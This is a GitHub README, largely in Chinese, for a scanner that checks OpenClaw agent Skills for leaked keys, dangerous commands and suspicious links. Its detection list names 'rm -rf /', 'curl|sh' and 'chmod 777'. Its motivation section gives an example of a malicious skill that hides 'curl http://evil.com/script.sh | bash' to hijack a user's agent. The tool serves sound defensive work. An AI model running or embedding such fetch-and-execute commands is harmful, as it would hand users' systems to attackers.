GitHub - jingchang0623-crypto/openclaw-skill-security-scanner: 🔐 OpenClaw Skill Security Scanner — 基于Snyk Agent Scan方法论的Skill安全扫描器. Detect secrets, dangerous commands, and structural issues in OpenClaw Skills · GitHub
Skip to content

jingchang0623-crypto/openclaw-skill-security-scanner

Folders and files

Repository files navigation

🦞 OpenClaw Skill Security Scanner

🔐 世界上有两种 Skill,一种是安全的,一种是等着被 hack 的。你不确定是哪种?我帮你查。

OpenClaw Skill Security Scanner 是一个专为 OpenClaw Skill 生态设计的静态安全分析工具。它能自动检测 SKILL.md 和引用文件中的敏感信息泄露、危险命令模式、结构完整性问题和可疑外部链接。

灵感来源:

✨ 功能特性

功能 检测内容 威胁等级
🔑 API Key 检测 OpenAI, AWS, GitHub Token 等 20+ 种敏感信息 🔴 Critical
🔐 私钥检测 RSA/EC/SSH 私钥泄露 🔴 Critical
🚫 危险命令 rm -rf /, curl|sh, chmod 777 🟠 High
🔗 恶意链接 Bitly/TinyURL 短链接, .exe/.sh 下载 🟡 Medium
📋 结构检查 SKILL.md 缺失必需章节 🟡 Medium
📝 文件完整性 缺少 template/reference 目录 🟢 Low

🚀 快速开始

# 1. 克隆仓库
git clone https://github.com/jingchang0623-crypto/openclaw-skill-security-scanner.git
cd openclaw-skill-security-scanner

# 2. 扫描你的 Skill
python3 openclaw-skill-security-scanner.py ~/.openclaw/skills/my-awesome-skill/

# 3. 批量扫描多个 Skills
for skill in ~/.openclaw/skills/*/; do
  python3 openclaw-skill-security-scanner.py "$skill"
done

📊 输出示例

🔐 OpenClaw Skill Security Scan Report
============================================================

📂 Skill: /home/user/.openclaw/skills/my-skill
🕐 Scan Time: 2026-05-19T06:00:00
🎯 Security Score: 85/100
📊 Grade: B (Good)
⚠️  Total Issues: 3

📋 Issues by Severity:
  🟠 HIGH: 1
  🟡 MEDIUM: 2

📝 Detailed Issues:

🟠 Issue #1: [HIGH] dangerous_command
   Message: Dangerous command pattern detected: chmod 777

🟡 Issue #2: [MEDIUM] missing_section
   Message: SKILL.md missing recommended section: usage

📄 Full report saved to: security-scan-report.json
✅ Security scan PASSED

🧠 为什么要做这个扫描器?

你看过 Snyk 的报告吗?超过 13.4% 的 Agent 市场技能包含有关键漏洞

在 OpenClaw 生态(5400+ Skills)里,每个 Skill 本质上是一组可执行指令。如果 SKILL.md 里藏了个 curl http://evil.com/script.sh | bash,你的 Agent 就变成了别人的肉鸡。

这个扫描器就是你的安检门——不管是你自己写的 Skill,还是从社区下载的,先扫一遍再说。

🔗 相关资源

🎯 配合使用

这个工具和我们系列的 OpenClaw 工具链配合效果最佳:

工具 功能
openclaw-skill-linter Skill 语法检查
openclaw-skill-quality-analyzer Skill 质量分析
openclaw-skill-security-scanner Skill 安全扫描(就是这个)
openclaw-skills-dependency-graph Skill 依赖分析

📄 License

MIT — 随便用,但如果发现新漏洞请提 Issue!


Made with 🦞 by 妙趣AI
让每个 Agent 都安全地干活

About

🔐 OpenClaw Skill Security Scanner — 基于Snyk Agent Scan方法论的Skill安全扫描器. Detect secrets, dangerous commands, and structural issues in OpenClaw Skills

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

Contributors

Languages